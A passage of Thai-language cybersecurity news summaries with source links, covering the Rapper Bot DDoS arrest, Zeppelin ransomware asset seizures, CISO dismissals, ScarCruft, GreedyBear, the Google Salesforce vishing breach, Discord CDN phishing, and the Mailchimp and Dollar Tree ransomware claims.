เหยื่อใน 80 ประเทศ ➡️ ขนาดการโจมตีสูงสุดถึง 6 Tbps ซึ่งถือว่าใหญ่ที่สุดในประวัติศาสตร์ DDoS ➡️ เป้าหมายรวมถึงหน่วยงานรัฐบาล สื่อสังคม และบริษัทเทคโนโลยีสหรัฐฯ ➡️ ลูกค้าบางรายใช้ Rapper Bot เพื่อข่มขู่เรียกค่าไถ่จากเหยื่อ ➡️ การจับกุมเป็นส่วนหนึ่งของปฏิบัติการ PowerOFF ที่ปราบปรามบริการ DDoS-for-hire ➡️ หลังการจับกุม ไม่มีรายงานการโจมตีจาก Rapper Bot เพิ่มเติม ➡️ Foltz ถูกตั้งข้อหาสนับสนุนการบุกรุกระบบคอมพิวเตอร์ และอาจถูกจำคุกสูงสุด 10 ปี ✅ ข้อมูลเสริมจากภายนอก ➡️ DDoS ขนาด 2–3 Tbps สามารถทำให้เว็บไซต์หรือบริการล่มได้ภายในไม่กี่วินาที ➡️ ค่าเสียหายจากการโจมตี 30 วินาทีอาจสูงถึง $10,000 ต่อครั้ง ➡️ Botnet ที่ใช้ IoT device เป็นเป้าหมายหลัก เพราะมีความปลอดภัยต่ำ ➡️ Rapper Bot เคยถูกเรียกอีกชื่อว่า “Eleven Eleven Botnet” และ “CowBot” ➡️ การจับกุมครั้งนี้ได้รับการสนับสนุนจากหน่วยงานความมั่นคงของกระทรวงกลาโหมสหรัฐฯ https://www.techradar.com/pro/security/hacker-behind-rapper-bot-ddos-for-hire-botnet-which-carried-out-over-370-000-attacks-arrested

🕵️‍♂️ ปฏิบัติการยึดคริปโตจากกลุ่ม Zeppelin: เมื่อความยุติธรรมไล่ทันอาชญากรรมไซเบอร์ กระทรวงยุติธรรมสหรัฐฯ ประกาศยึดเงินคริปโตมูลค่ากว่า $2.8 ล้าน พร้อมเงินสด $70,000 และรถยนต์หรูจาก Ianis Aleksandrovich Antropenko ผู้ต้องสงสัยว่าเป็นหัวหน้ากลุ่มแรนซัมแวร์ Zeppelin ซึ่งเคยโจมตีองค์กรในหลายประเทศตั้งแต่ปี 2019–2022 Zeppelin เป็นแรนซัมแวร์แบบ RaaS (Ransomware-as-a-Service) ที่ใช้วิธี “double extortion” คือเข้ารหัสข้อมูลเหยื่อและขโมยข้อมูลไปด้วย จากนั้นขู่จะเปิดเผยข้อมูลหากไม่จ่ายค่าไถ่ โดยกลุ่มนี้เคยโจมตีองค์กรด้านสุขภาพ, เทคโนโลยี, การเงิน และแม้แต่ศูนย์พักพิงคนไร้บ้าน Antropenko และพวกใช้บริการ ChipMixer ซึ่งเป็นแพลตฟอร์ม “ล้างรอย” เงินคริปโต เพื่อซ่อนที่มาของเงินค่าไถ่ และยังใช้วิธีแลกคริปโตเป็นเงินสดแล้วฝากแบบแบ่งยอดเพื่อหลบเลี่ยงการตรวจสอบจากธนาคาร แม้ Zeppelin จะถูกระบุว่า “ล้มหาย” ไปในปี 2022 หลังนักวิจัยจาก Unit221b สร้างเครื่องมือถอดรหัสฟรีให้เหยื่อ แต่ในปี 2024 มีรายงานว่าโค้ดของ Zeppelin ถูกขายในฟอรั่มแฮกเกอร์รัสเซียในราคาเพียง $500 ซึ่งอาจนำไปสู่การฟื้นคืนชีพของมัลแวร์นี้ในอนาคต ✅ ข้อมูลจากข่าวหลัก ➡️ DoJ ยึดคริปโตมูลค่า $2.8 ล้าน, เงินสด $70,000 และรถหรูจากผู้ต้องสงสัย Antropenko ➡️ Antropenko ถูกตั้งข้อหาฉ้อโกงคอมพิวเตอร์และฟอกเงินในศาลรัฐเท็กซัส ➡️ Zeppelin เป็นแรนซัมแวร์แบบ RaaS ที่ใช้วิธี double extortion ➡️ เหยื่อถูกเข้ารหัสข้อมูลและขู่เปิดเผยข้อมูลหากไม่จ่ายค่าไถ่ ➡️ กลุ่มนี้เคยโจมตีองค์กรในสหรัฐฯ และต่างประเทศ รวมถึง NGO และศูนย์พักพิง ➡️ ใช้ ChipMixer และการฝากเงินแบบแบ่งยอดเพื่อฟอกเงิน ➡️ DoJ ออกหมายจับ 6 ฉบับในรัฐเท็กซัส, เวอร์จิเนีย และแคลิฟอร์เนีย ➡️ Zeppelin ถูกระบุว่าเลิกใช้งานในปี 2022 หลังนักวิจัยสร้างเครื่องมือถอดรหัสฟรี ➡️ การยึดทรัพย์ครั้งนี้เป็นส่วนหนึ่งของแคมเปญปราบปรามแรนซัมแวร์ของ DoJ ✅ ข้อมูลเสริมจากภายนอก ➡️ Zeppelin พัฒนาจาก VegaLocker และ Buran ซึ่งเป็นมัลแวร์สาย Delphi ➡️ FBI เคยเตือนว่า Zeppelin ใช้ช่องโหว่ RDP และ SonicWall ในการเข้าถึงระบบ ➡️ Unit221b หยุดให้บริการถอดรหัส Zeppelin แล้วในปี 2024 ➡️ มีรายงานว่า Zeppelin2 ถูกขายในฟอรั่มแฮกเกอร์รัสเซียในราคา $500 ➡️ DoJ เคยยึดคริปโตจากกลุ่ม Chaos และ BlackSuit รวมกว่า $3.4 ล้าน ➡️ ตั้งแต่ปี 2020 DoJ ยึดทรัพย์จากอาชญากรรมไซเบอร์รวมกว่า $350 ล้าน https://www.techradar.com/pro/security/millions-of-dollars-in-cryptocurrency-has-been-confiscated-as-the-doj-cracks-down-on-an-infamous-ransomware-operator

🧯 เมื่อ CISO กลายเป็นแพะรับบาปหลังเหตุการณ์ ransomware ลองจินตนาการว่าคุณเป็น CISO ที่ทำงานอย่างหนักเพื่อป้องกันภัยไซเบอร์ แต่วันหนึ่งบริษัทของคุณโดนโจมตีด้วย ransomware และแม้คุณจะทำตามแผนรับมือทุกขั้นตอน คุณก็ยังถูกปลดออกจากตำแหน่ง นี่คือสิ่งที่เกิดขึ้นจริงในองค์กรจำนวนมาก จากรายงานของ Sophos พบว่า 25% ของ CISO ถูกเปลี่ยนตัวหลังเกิดเหตุการณ์ ransomware โดยไม่จำเป็นต้องเป็นความผิดของพวกเขาโดยตรง ผู้เชี่ยวชาญชี้ว่า การปลด CISO มักเกิดจากแรงกดดันของบอร์ดบริหารที่ต้องการ “รีเซ็ตภาพลักษณ์” มากกว่าการวิเคราะห์เชิงกลยุทธ์ บางครั้ง CISO ถูกปลดแม้ระบบตรวจจับทำงานดี แผนรับมือถูกดำเนินการครบ และการกู้คืนข้อมูลอยู่ใน SLA ยิ่งไปกว่านั้น บางองค์กรยังไม่ให้ CISO เข้าร่วมประชุมสำคัญ เพราะกลัวว่าจะ “ขัดขวางธุรกิจ” ซึ่งทำให้การตัดสินใจด้านความปลอดภัยถูกละเลย และนำไปสู่ช่องโหว่ที่ถูกโจมตีในภายหลัง ✅ ข้อมูลจากรายงานข่าวและการวิเคราะห์ ➡️ 25% ของ CISO ถูกเปลี่ยนตัวหลังเกิดเหตุการณ์ ransomware ➡️ การปลด CISO มักเกิดจากแรงกดดันของบอร์ด ไม่ใช่ความผิดโดยตรง ➡️ หากแผนรับมือทำงานดี การปลดอาจส่งสัญญาณผิดภายในองค์กร ➡️ ช่องโหว่ที่ถูกโจมตีมักเป็นช่องที่ “รู้ว่ามี” แต่ไม่ได้รับการแก้ไข ➡️ 40% ของผู้ตอบแบบสอบถามยอมรับว่าโจมตีมาจากช่องโหว่ที่รู้แต่ไม่ได้จัดการ ➡️ สาเหตุหลักของ ransomware คือช่องโหว่ (32%) และ credential ที่ถูกขโมย (23%) ➡️ อีเมลและ phishing ยังเป็นช่องทางโจมตีหลัก (รวมกัน 37%) ➡️ บาง CISO ลาออกเองเพราะความเครียดและความขัดแย้งหลังเหตุการณ์ ➡️ การเปรียบเทียบ CISO กับ “นักดับเพลิง” ชี้ว่าพวกเขาคือผู้รับมือ ไม่ใช่ต้นเหตุ ➡️ การไม่ให้ CISO เข้าร่วมประชุมสำคัญทำให้ความปลอดภัยถูกละเลย ✅ ข้อมูลเสริมจากภายนอก ➡️ รายงาน Sophos ปี 2025 สำรวจจาก 3,400 ผู้บริหาร IT ใน 17 ประเทศ ➡️ 41% ของทีมที่ถูกโจมตีมีความเครียดสูง และ 31% มีการลาหยุดจากปัญหาสุขภาพจิต ➡️ ค่าใช้จ่ายในการกู้คืนข้อมูลเฉลี่ยอยู่ที่ $1.53M (ไม่รวมค่าไถ่) ➡️ 53% ขององค์กรสามารถกู้คืนได้ภายใน 1 สัปดาห์ ➡️ การเจรจาค่าไถ่ลดลง โดยค่าเฉลี่ยการจ่ายจริงอยู่ที่ $1M ➡️ การขาด segmentation และการไม่ทำ tabletop exercise เป็นสาเหตุที่ทำให้ CISO ถูกปลด https://www.csoonline.com/article/4040156/25-of-security-leaders-replaced-after-ransomware-attack.html

🕵️‍♂️💰 เรื่องเล่าจากโลกไซเบอร์: ScarCruft จากสายลับสู่โจรเรียกค่าไถ่ ScarCruft กลุ่มแฮกเกอร์ที่ได้รับการสนับสนุนจากรัฐบาลเกาหลีเหนือ เคยเป็นที่รู้จักในฐานะสายลับไซเบอร์ที่เน้นการขโมยข้อมูลจากหน่วยงานรัฐบาลและบุคคลสำคัญในเกาหลีใต้ ญี่ปุ่น และรัสเซีย แต่ในเดือนกรกฎาคม 2025 พวกเขาเปลี่ยนแนวทางครั้งใหญ่ โดยหันมาใช้มัลแวร์เรียกค่าไถ่ (ransomware) ชื่อว่า VCD เพื่อโจมตีแบบหวังผลทางการเงิน การโจมตีครั้งนี้ดำเนินการโดยกลุ่มย่อยชื่อ ChinopuNK ผ่านอีเมลฟิชชิ่งที่แนบไฟล์ปลอมซึ่งแอบอ้างว่าเป็นการอัปเดตรหัสไปรษณีย์ เมื่อเหยื่อเปิดไฟล์จะถูกติดตั้งมัลแวร์มากกว่า 9 ชนิด รวมถึง ChillyChino รุ่นใหม่, LightPeek, FadeStealer และ NubSpy ซึ่งเป็น backdoor ที่เขียนด้วยภาษา Rust และใช้บริการ PubNub เพื่อซ่อนการสื่อสารให้ดูเหมือนทราฟฟิกปกติ ที่น่าตกใจคือ VCD ransomware ไม่เพียงเข้ารหัสไฟล์ของเหยื่อ แต่ยังแสดงข้อความเรียกค่าไถ่ทั้งภาษาอังกฤษและเกาหลี สะท้อนว่าพวกเขาเตรียมพร้อมโจมตีทั้งในประเทศและต่างประเทศ นักวิเคราะห์จาก DeepTempo เตือนว่า การใช้ ransomware อาจไม่ใช่แค่การหาเงิน แต่เป็นการเบี่ยงเบนความสนใจจากการขโมยข้อมูล หรือใช้กดดันทางการเมือง ซึ่งเป็นแนวโน้มใหม่ของกลุ่ม APT ที่ผสมผสานการจารกรรมกับอาชญากรรมไซเบอร์ ✅ ScarCruft เปลี่ยนจากการจารกรรมมาใช้ ransomware ชื่อ VCD ➡️ เป็นการโจมตีแบบหวังผลทางการเงินครั้งแรกของกลุ่ม ✅ การโจมตีดำเนินการโดยกลุ่มย่อย ChinopuNK ➡️ ใช้อีเมลฟิชชิ่งปลอมเป็นไฟล์อัปเดตรหัสไปรษณีย์ ✅ มัลแวร์ที่ใช้มีมากกว่า 9 ชนิด รวมถึง ChillyChino รุ่นใหม่ ➡️ และ backdoor NubSpy ที่เขียนด้วยภาษา Rust ✅ NubSpy ใช้ PubNub เพื่อซ่อนการสื่อสารให้ดูเหมือนปกติ ➡️ ทำให้ตรวจจับได้ยาก ✅ VCD ransomware เข้ารหัสไฟล์และแสดงข้อความเรียกค่าไถ่ ➡️ มีทั้งภาษาอังกฤษและเกาหลี ✅ นักวิเคราะห์ชี้ว่า ransomware อาจใช้เป็นเครื่องมือเบี่ยงเบนหรือกดดัน ➡️ ไม่ใช่แค่การหาเงิน แต่เป็นยุทธศาสตร์หลายชั้น https://hackread.com/north-korean-group-scarcruft-spying-ransomware-attacks/

🕵️‍♂️💰 เรื่องเล่าจากโลกไซเบอร์: GreedyBear กับแผนโจรกรรมคริปโตระดับอุตสาหกรรม ในโลกที่คริปโตกลายเป็นสินทรัพย์ยอดนิยม กลุ่มอาชญากรไซเบอร์ก็ไม่พลาดที่จะตามกระแส ล่าสุดมีการเปิดโปงแคมเปญชื่อว่า “GreedyBear” ซึ่งขโมยเงินคริปโตไปแล้วกว่า 1 ล้านดอลลาร์ โดยใช้วิธีโจมตีแบบสามชั้นที่ซับซ้อนและอันตราย กลุ่มนี้เริ่มจากการสร้างส่วนขยายปลอมใน Firefox Marketplace มากกว่า 150 รายการ โดยปลอมเป็นกระเป๋าคริปโตยอดนิยม เช่น MetaMask, TronLink, Exodus และ Rabby Wallet พวกเขาใช้เทคนิค “Extension Hollowing” คืออัปโหลดส่วนขยายที่ดูปลอดภัยก่อน แล้วค่อยเปลี่ยนชื่อ ไอคอน และฝังโค้ดอันตรายเข้าไปภายหลัง โดยยังคงรีวิวดี ๆ ไว้เหมือนเดิม นอกจากนั้น GreedyBear ยังปล่อยมัลแวร์กว่า 500 ตัวผ่านเว็บไซต์แจกโปรแกรมเถื่อน โดยมีทั้ง credential stealers และ ransomware ที่ล็อกไฟล์และเรียกค่าไถ่เป็นคริปโต และสุดท้ายคือการสร้างเว็บไซต์ปลอมที่ดูเหมือนบริการกระเป๋าคริปโตหรือเครื่องมือซ่อมกระเป๋า เพื่อหลอกให้ผู้ใช้กรอกข้อมูลสำคัญ ทั้งหมดนี้ถูกควบคุมผ่านเซิร์ฟเวอร์เดียว (IP: 185.208.156.66) ซึ่งทำให้การจัดการแคมเปญเป็นไปอย่างมีประสิทธิภาพ และยังมีหลักฐานว่าใช้โค้ดที่สร้างด้วย AI เพื่อเร่งการโจมตีและปรับเปลี่ยนรูปแบบได้อย่างรวดเร็ว ✅ GreedyBear เป็นแคมเปญอาชญากรรมไซเบอร์ที่ขโมยคริปโตไปแล้วกว่า $1 ล้าน ➡️ ใช้วิธีโจมตีหลายรูปแบบพร้อมกัน ✅ มีส่วนขยายปลอมใน Firefox Marketplace มากกว่า 150 รายการ ➡️ ปลอมเป็นกระเป๋าคริปโตยอดนิยม เช่น MetaMask, TronLink, Exodus ✅ ใช้เทคนิค Extension Hollowing เพื่อหลบการตรวจสอบ ➡️ อัปโหลดส่วนขยายปลอดภัยก่อน แล้วค่อยเปลี่ยนเป็นอันตราย ✅ ปล่อยมัลแวร์กว่า 500 ตัวผ่านเว็บไซต์แจกโปรแกรมเถื่อน ➡️ มีทั้ง LummaStealer และ Luca Stealer ที่เน้นขโมยข้อมูลคริปโต ✅ สร้างเว็บไซต์ปลอมที่ดูเหมือนบริการกระเป๋าคริปโตหรือซ่อมกระเป๋า ➡️ หลอกให้ผู้ใช้กรอก seed phrase และ private key ✅ ทุกการโจมตีเชื่อมโยงกับเซิร์ฟเวอร์เดียว (185.208.156.66) ➡️ ใช้เป็นศูนย์กลางควบคุมและเก็บข้อมูล ✅ มีการใช้โค้ดที่สร้างด้วย AI เพื่อเร่งการโจมตี ➡️ ทำให้ปรับเปลี่ยนรูปแบบได้รวดเร็วและหลบหลีกการป้องกัน ✅ Extension Hollowing เป็นเทคนิคที่เริ่มใช้ในมัลแวร์ระดับองค์กร ➡️ เคยพบในแคมเปญโจมตีของกลุ่ม APT เช่น Lazarus ✅ Mozilla มีระบบตรวจสอบส่วนขยาย แต่ยังไม่สามารถกันการเปลี่ยนแปลงภายหลังได้ ➡️ ผู้ใช้ต้องตรวจสอบผู้พัฒนาและรีวิวอย่างละเอียด ✅ การใช้ AI ในการสร้างมัลแวร์เริ่มแพร่หลายมากขึ้น ➡️ ทำให้การตรวจจับด้วย signature-based antivirus ไม่เพียงพอ ✅ การโจมตีแบบหลายชั้น (multi-vector attack) เป็นแนวโน้มใหม่ของอาชญากรรมไซเบอร์ ➡️ เน้นการหลอกลวงจากหลายช่องทางพร้อมกันเพื่อเพิ่มโอกาสสำเร็จ https://hackread.com/greedybear-fake-crypto-wallet-extensions-firefox-marketplace/

📞🕵️‍♂️ เรื่องเล่าจากโลกไซเบอร์: เมื่อ Google ถูกหลอกด้วยเสียง และข้อมูลลูกค้าก็หลุดไป ในเดือนมิถุนายน 2025 Google ได้ยืนยันว่าเกิดเหตุข้อมูลรั่วไหลจากระบบ Salesforce ภายในของบริษัท ซึ่งใช้เก็บข้อมูลลูกค้าธุรกิจขนาดกลางและขนาดเล็ก โดยกลุ่มแฮกเกอร์ชื่อดัง ShinyHunters (หรือ UNC6040) ใช้เทคนิค “vishing” หรือการหลอกลวงผ่านเสียงโทรศัพท์ เพื่อหลอกพนักงานให้อนุมัติแอปปลอมที่แฝงตัวเป็นเครื่องมือ Salesforce Data Loader เมื่อได้รับสิทธิ์เข้าถึงแล้ว แฮกเกอร์สามารถดูดข้อมูลออกจากระบบได้ในช่วงเวลาสั้น ๆ ก่อนที่ Google จะตรวจพบและตัดการเข้าถึง โดยข้อมูลที่ถูกขโมยนั้นเป็นข้อมูลพื้นฐาน เช่น ชื่อบริษัท เบอร์โทร และโน้ตประกอบ ซึ่ง Google ระบุว่าเป็นข้อมูลที่ “ส่วนใหญ่เปิดเผยอยู่แล้ว” อย่างไรก็ตาม เหตุการณ์นี้สะท้อนถึงความเปราะบางของระบบที่พึ่งพามนุษย์เป็นด่านแรก และเป็นส่วนหนึ่งของแคมเปญโจมตีที่กว้างขึ้น ซึ่งมีเป้าหมายเป็นบริษัทที่ใช้ Salesforce เช่น Chanel, Dior, Pandora, Qantas และ Allianz โดยกลุ่ม UNC6240 ซึ่งเชื่อว่าเป็นแขนงของ ShinyHunters จะตามมาด้วยการขู่เรียกค่าไถ่ภายใน 72 ชั่วโมง พร้อมขู่ว่าจะเปิดเผยข้อมูลผ่านเว็บไซต์ “Data Leak Site” ✅ Google ยืนยันว่าระบบ Salesforce ภายในถูกเจาะข้อมูล ➡️ เกิดขึ้นในเดือนมิถุนายน 2025 โดยกลุ่ม UNC6040 ✅ ข้อมูลที่ถูกขโมยเป็นข้อมูลพื้นฐานของลูกค้าธุรกิจ SMB ➡️ เช่น ชื่อบริษัท เบอร์โทร และโน้ตประกอบ ✅ แฮกเกอร์ใช้เทคนิค vishing หลอกพนักงานผ่านโทรศัพท์ ➡️ โดยปลอมตัวเป็นฝ่าย IT และให้ติดตั้งแอปปลอม ✅ แอปปลอมถูกระบุว่าเป็น Salesforce Data Loader หรือชื่อหลอกเช่น “My Ticket Portal” ➡️ ใช้ OAuth เพื่อเข้าถึงข้อมูลโดยไม่ถูกตรวจจับ ✅ Google ตัดการเข้าถึงได้ภายใน “ช่วงเวลาสั้น ๆ” ➡️ และแจ้งลูกค้าที่ได้รับผลกระทบทันที ✅ กลุ่ม UNC6240 ตามมาด้วยการขู่เรียกค่าไถ่ ➡️ โดยส่งอีเมลหรือโทรศัพท์เรียกเงินในรูปแบบ Bitcoin ภายใน 72 ชั่วโมง ✅ ShinyHunters เคยโจมตี Snowflake, AT&T, PowerSchool และ Oracle Cloud ➡️ เป็นกลุ่มที่มีประวัติการเจาะระบบระดับสูง ✅ Salesforce ยืนยันว่าแพลตฟอร์มไม่มีช่องโหว่ ➡️ ปัญหาเกิดจากการหลอกลวงผู้ใช้ ไม่ใช่ระบบ ✅ การเชื่อมต่อแอปภายนอกใน Salesforce ใช้รหัส 8 หลัก ➡️ เป็นช่องทางที่แฮกเกอร์ใช้หลอกให้เชื่อมต่อกับแอปปลอม ✅ บริษัทที่ตกเป็นเหยื่อมีทั้งแบรนด์หรูและสายการบิน ➡️ เช่น Chanel, Dior, Louis Vuitton, Qantas และ Allianz ✅ Google แนะนำให้ใช้ MFA, จำกัดสิทธิ์ และฝึกอบรมพนักงาน ➡️ เพื่อป้องกันการโจมตีแบบ social engineering https://hackread.com/google-salesforce-data-breach-shinyhunters-vishing-scam/

🕵️‍♂️📎 เรื่องเล่าจากโลกไซเบอร์: เมื่อ Discord กลายเป็นประตูหลังให้แฮกเกอร์ผ่าน OneDrive ปลอม ในยุคที่ทุกคนคุ้นเคยกับการแชร์ไฟล์ผ่าน OneDrive และใช้ Discord เป็นช่องทางสื่อสารหลัก แฮกเกอร์ก็ใช้ความคุ้นเคยนี้เป็นเครื่องมือโจมตีแบบแนบเนียน ล่าสุด Sublime Security พบแคมเปญฟิชชิ่งที่ใช้ลิงก์จาก Discord CDN ปลอมตัวเป็นไฟล์จาก OneDrive เพื่อหลอกให้เหยื่อดาวน์โหลดมัลแวร์ แฮกเกอร์ส่งอีเมลจากบัญชีที่ถูกเจาะแล้ว โดยปลอมเป็นข้อความแจ้งเตือนจาก OneDrive พร้อมไอคอน Word และ footer ที่ดูเหมือนของจริง แต่ลิงก์ในอีเมลนั้นไม่ได้พาไปโหลดไฟล์ .docx อย่างที่อ้าง กลับเป็นไฟล์ .msi ที่ซ่อนมัลแวร์ไว้ เมื่อเหยื่อคลิกและติดตั้งไฟล์นั้น จะมีโปรแกรมควบคุมระยะไกล (RMM) สองตัวถูกติดตั้งพร้อมกัน ได้แก่ Atera ที่ติดตั้งแบบเห็นได้ชัด และ Splashtop Streamer ที่ทำงานเงียบ ๆ เบื้องหลัง พร้อมกับ .NET Runtime 8 ทั้งหมดนี้ถูกโหลดจากแหล่งที่ดูน่าเชื่อถือ ทำให้ยากต่อการตรวจจับ การใช้ RMM แบบหลายตัวช่วยให้แฮกเกอร์รักษาการควบคุมเครื่องแม้จะมีการตรวจพบบางส่วน และสามารถใช้เครื่องเหยื่อในการขโมยข้อมูล เรียกค่าไถ่ หรือเป็นฐานส่งมัลแวร์ต่อไป นอกจากนี้ยังมีแคมเปญอื่นที่ใช้ Discord CDN เพื่อส่งไฟล์ลัดที่เรียก PowerShell ดาวน์โหลดมัลแวร์จากลิงก์ที่ถูกดัดแปลงให้หลบการตรวจจับได้ ทำให้ Discord ซึ่งเป็นแพลตฟอร์มที่เชื่อถือได้ กลายเป็นช่องทางโจมตีที่อันตรายอย่างคาดไม่ถึง ✅ พบแคมเปญฟิชชิ่งปลอมเป็น OneDrive โดยใช้ Discord CDN เป็นที่เก็บไฟล์ ➡️ อีเมลปลอมมีไอคอน Word และ footer ที่ดูเหมือนของจริง ✅ ไฟล์ที่โหลดเป็น .msi แทนที่จะเป็น .docx ตามที่อ้าง ➡️ ใช้เทคนิค file extension manipulation เพื่อหลอกเหยื่อ ✅ ติดตั้ง RMM สองตัวคือ Atera และ Splashtop Streamer ➡️ Atera ติดตั้งแบบเห็นได้ชัด ส่วน Splashtop ทำงานเงียบ ๆ ✅ ใช้ .NET Runtime 8 เพื่อเสริมการทำงานของมัลแวร์ ➡️ ทั้งหมดโหลดจากแหล่งที่ดูปลอดภัย ทำให้ตรวจจับยาก ✅ Sublime Security ตรวจพบด้วยระบบ AI ที่วิเคราะห์พฤติกรรมอีเมล ➡️ เช่น การส่งถึงผู้รับไม่เปิดเผย และการใช้ลิงก์จาก Discord CDN ✅ Discord CDN ถูกใช้ในหลายแคมเปญมัลแวร์ช่วงปี 2024–2025 ➡️ เช่นการฝัง PowerShell shortcut ในไฟล์ zip เพื่อโหลดมัลแวร์ ✅ แฮกเกอร์ใช้เทคนิค URL obfuscation เพื่อหลบการตรวจจับ ➡️ เช่นการแทนที่บางส่วนของลิงก์เพื่อให้ระบบความปลอดภัยมองข้าม ✅ RMM เป็นเครื่องมือที่ถูกต้องตามกฎหมายแต่ถูกนำไปใช้ในทางร้าย ➡️ ใช้ควบคุมเครื่องเหยื่อจากระยะไกลโดยไม่ต้องใช้ backdoor ✅ การโจมตีแบบ multi-stage ช่วยให้แฮกเกอร์รักษาการควบคุมได้ยาวนาน ➡️ แม้จะมีการลบโปรแกรมบางตัว ก็ยังมีอีกตัวทำงานอยู่ https://hackread.com/discord-cdn-link-deliver-rat-disguised-onedrive-file/

🎙️ เรื่องเล่าจากข่าว: Everest Ransomware กับการโจมตี Mailchimp ที่กลายเป็นเรื่องตลกในวงการไซเบอร์ ปลายเดือนกรกฎาคม 2025 กลุ่ม Everest ransomware ได้โพสต์บนเว็บไซต์มืดว่า พวกเขาเจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลชื่อดัง—และขโมยข้อมูลขนาด 767 MB รวม 943,536 บรรทัด ซึ่งอ้างว่าเป็น “เอกสารภายในบริษัท” และ “ข้อมูลส่วนตัวของลูกค้า” แต่เมื่อผู้เชี่ยวชาญด้านความปลอดภัยได้ตรวจสอบตัวอย่างข้อมูล พบว่าเป็นเพียงข้อมูลธุรกิจทั่วไป เช่น อีเมลบริษัท, โดเมน, เบอร์โทร, เมือง, ประเทศ, ลิงก์โซเชียลมีเดีย และเทคโนโลยีที่ใช้ ไม่ใช่ข้อมูลลับหรือข้อมูลภายในที่สำคัญของ Mailchimp ชุมชนไซเบอร์จึงพากันหัวเราะเยาะการโจมตีครั้งนี้ โดยเปรียบเทียบว่า “เหมือนข้อมูลของลูกค้าคนเดียว” หรือ “แค่เศษเสี้ยวของข้อมูลที่ Mailchimp ส่งออกในหนึ่งวินาที” แม้จะดูเล็กน้อย แต่การโจมตีนี้ยังสะท้อนแนวโน้มที่น่ากังวล—การเพิ่มขึ้นของ ransomware ทั่วโลกในเดือนกรกฎาคม โดยมีหลายกลุ่มโจมตีองค์กรใหญ่ เช่น Dollar Tree, Albavision และ NASCAR ✅ Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 767 MB รวม 943,536 บรรทัด ➡️ อ้างว่าเป็นเอกสารภายในและข้อมูลลูกค้า ➡️ โพสต์บนเว็บไซต์มืดพร้อมตัวอย่างข้อมูล ✅ ข้อมูลที่หลุดเป็นข้อมูลธุรกิจทั่วไป ไม่ใช่ข้อมูลลับของ Mailchimp ➡️ เช่น อีเมลบริษัท, โดเมน, เบอร์โทร, เทคโนโลยีที่ใช้ ➡️ ดูเหมือนมาจากการ export จากระบบ CRM มากกว่าระบบภายใน ✅ ชุมชนผู้เชี่ยวชาญด้านไซเบอร์เยาะเย้ยการโจมตีครั้งนี้ว่า “เล็กเกินคาด” ➡️ เปรียบเทียบว่าเป็นข้อมูลของลูกค้าคนเดียว ➡️ คาดหวังว่าจะมีข้อมูลระดับ GB หรือ TB จากบริษัทใหญ่แบบ Mailchimp ✅ Everest ransomware เคยโจมตีบริษัทใหญ่มาแล้ว เช่น Coca-Cola และรัฐบาลในอเมริกาใต้ ➡️ ใช้โมเดล double extortion: เข้ารหัสไฟล์ + ขู่เปิดเผยข้อมูล ➡️ ล่าสุดเริ่มขายสิทธิ์เข้าถึงระบบให้กลุ่มอื่นแทนการโจมตีเอง ✅ การโจมตี Mailchimp เป็นส่วนหนึ่งของคลื่น ransomware ที่พุ่งสูงในเดือนกรกฎาคม 2025 ➡️ INC ransomware อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree ➡️ GLOBAL GROUP โจมตี Albavision ได้ข้อมูล 400 GB ➡️ Medusa ransomware เรียกค่าไถ่ NASCAR มูลค่า $4 ล้าน https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/

🎙️ เรื่องเล่าจากข่าว: Dollar Tree ปฏิเสธการถูกแฮก—แต่ข้อมูลที่หลุดอาจมาจากอดีตคู่แข่งที่ล้มละลาย INC Ransom ซึ่งเป็นกลุ่มแรนซัมแวร์ที่มีประวัติการโจมตีองค์กรทั่วโลก ได้โพสต์ชื่อ Dollar Tree บนเว็บไซต์ของตน พร้อมอ้างว่าได้ขโมยข้อมูลกว่า 1.2TB ซึ่งรวมถึงเอกสารสำคัญและข้อมูลส่วนบุคคล เช่น สแกนหนังสือเดินทาง และขู่ว่าจะเปิดเผยหากไม่จ่ายค่าไถ่ แต่ Dollar Tree ออกแถลงการณ์ปฏิเสธทันที โดยระบุว่า “ข้อมูลที่หลุดนั้นเป็นของ 99 Cents Only” ซึ่งเป็นบริษัทคู่แข่งที่ล้มละลายไปในปี 2024 และ Dollar Tree ได้ซื้อสิทธิ์การเช่าอาคารบางแห่งมาเปิดร้านใหม่เท่านั้น ไม่ได้ซื้อระบบหรือฐานข้อมูลของบริษัทนั้นแต่อย่างใด 99 Cents Only ปิดกิจการทั้งหมด 371 สาขา และไม่มีช่องทางติดต่อแล้ว ทำให้ไม่สามารถยืนยันข้อมูลจากฝั่งนั้นได้ ขณะที่ Dollar Tree ยืนยันว่า “ไม่มีการเจาะระบบของเรา” และ “ไม่มีการซื้อข้อมูลหรือระบบจาก 99 Cents Only” ✅ INC Ransom อ้างว่าเจาะระบบ Dollar Tree และขโมยข้อมูล 1.2TB ➡️ รวมถึงข้อมูลส่วนบุคคล เช่น สแกนหนังสือเดินทาง ➡️ ขู่ว่าจะเปิดเผยข้อมูลหากไม่จ่ายค่าไถ่ ✅ Dollar Tree ปฏิเสธการถูกแฮก และระบุว่าข้อมูลนั้นเป็นของ 99 Cents Only ➡️ บริษัทคู่แข่งที่ล้มละลายไปในปี 2024 ➡️ Dollar Tree ซื้อแค่สิทธิ์การเช่าอาคาร ไม่ได้ซื้อระบบหรือข้อมูล ✅ 99 Cents Only ปิดกิจการทั้งหมด 371 สาขา และไม่มีช่องทางติดต่อแล้ว ➡️ Dollar Tree เปิดร้านใหม่ในอาคารเดิม 170 แห่ง ➡️ ไม่มีการรวมระบบหรือฐานข้อมูลของบริษัทเดิม ✅ Dollar Tree เป็นบริษัทค้าปลีกขนาดใหญ่ มีรายได้กว่า $17.6 พันล้านในปี 2024 ➡️ มีสาขากว่า 15,000 แห่งในสหรัฐฯ และแคนาดา ➡️ มีพนักงานมากกว่า 65,000 คน ✅ INC Ransom เป็นกลุ่มแรนซัมแวร์แบบ multi-extortion ที่โจมตีองค์กรทั่วโลก ➡️ เคยโจมตีองค์กรในภาครัฐ การศึกษา และสุขภาพ ➡️ ใช้เทคนิคขู่เปิดเผยข้อมูลเพื่อเรียกค่าไถ่ ✅ 99 Cents Only ยื่นล้มละลายในเดือนเมษายน 2024 จากผลกระทบของเงินเฟ้อ โควิด และการแข่งขันที่รุนแรง ➡️ ปิดกิจการทั้งหมดภายในกลางปี 2024 ➡️ 